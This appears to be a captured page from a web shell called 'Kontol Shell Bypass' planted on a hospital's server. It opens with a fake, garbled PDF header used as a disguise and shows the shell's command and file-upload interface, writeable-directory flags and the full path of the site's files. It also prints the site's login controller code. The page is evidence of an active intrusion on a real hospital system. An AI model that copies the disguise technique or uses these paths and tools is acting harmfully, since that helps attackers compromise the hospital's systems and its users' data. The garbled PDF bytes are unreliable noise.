%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/api/application/controllers/Auth.php
<?php
class Auth extends MY_Controller {
	function __construct() {
        parent::__construct();
		$this->load->model('auth_model', 'auth');
    }

    function delete_old_session_files(){
        $dir=$this->config->item("sess_save_path");
        if($dir){
            $dir=$dir.DIRECTORY_SEPARATOR;
            foreach (glob($dir."*") as $file) {
                /*** if file is 24 hours (86400 seconds) old then delete it ***/
                if (filemtime($file) < time() - 86400) {
                    if(is_file($file)){
                        unlink($file);
                    }
                }
            }
        }
    }
	
	function login() {
        $this->delete_old_session_files();
		$data=array('success'=>'F');
		$post=$this->input->post();
		
		if(isset($post['username'])){
			$this->form_validation->set_rules('username', 'Username', 'required', $this->req);
            $this->form_validation->set_rules('password', 'Password', 'required', $this->req);
			if($this->form_validation->run() == FALSE){
                $data['errors']=$this->form_validation->get_errors();
            }else{
				$dtl=$this->auth->login($post);
				if($dtl){
					if($dtl['status']==1){
						session_regenerate_id(TRUE);
						set_session(USR_SESSION_NAME, $dtl);
						$this->logged_data();
					}else{
						$data['success']='F';
						$data['msg']='Your account is inactive!';
					}
				}else{
					$data['success']='F';
					$data['msg']='Invalid username or password!';
				}
            }
		}
        $this->json_data($data);
    }
	
	function logged_data(){
		$dtl=get_session(USR_SESSION_NAME);
		if($dtl){
			$modules=$this->auth->modules($dtl['id']);
		}else{
			$dtl=array();
			$modules=array();
			$branches=array();
		}
		$data=array(
			'success'=>'T', 
			'dtl'=>$dtl, 
			'modules'=>$modules, 
		);
		$this->json_data($data);
	}
	
	function logout(){
		delete_session(USR_SESSION_NAME);
		$dtl['success']='T';
		$this->json_data($dtl);
	}
	
	function update_sess(){
	}
}

//EOF

Kontol Shell Bypass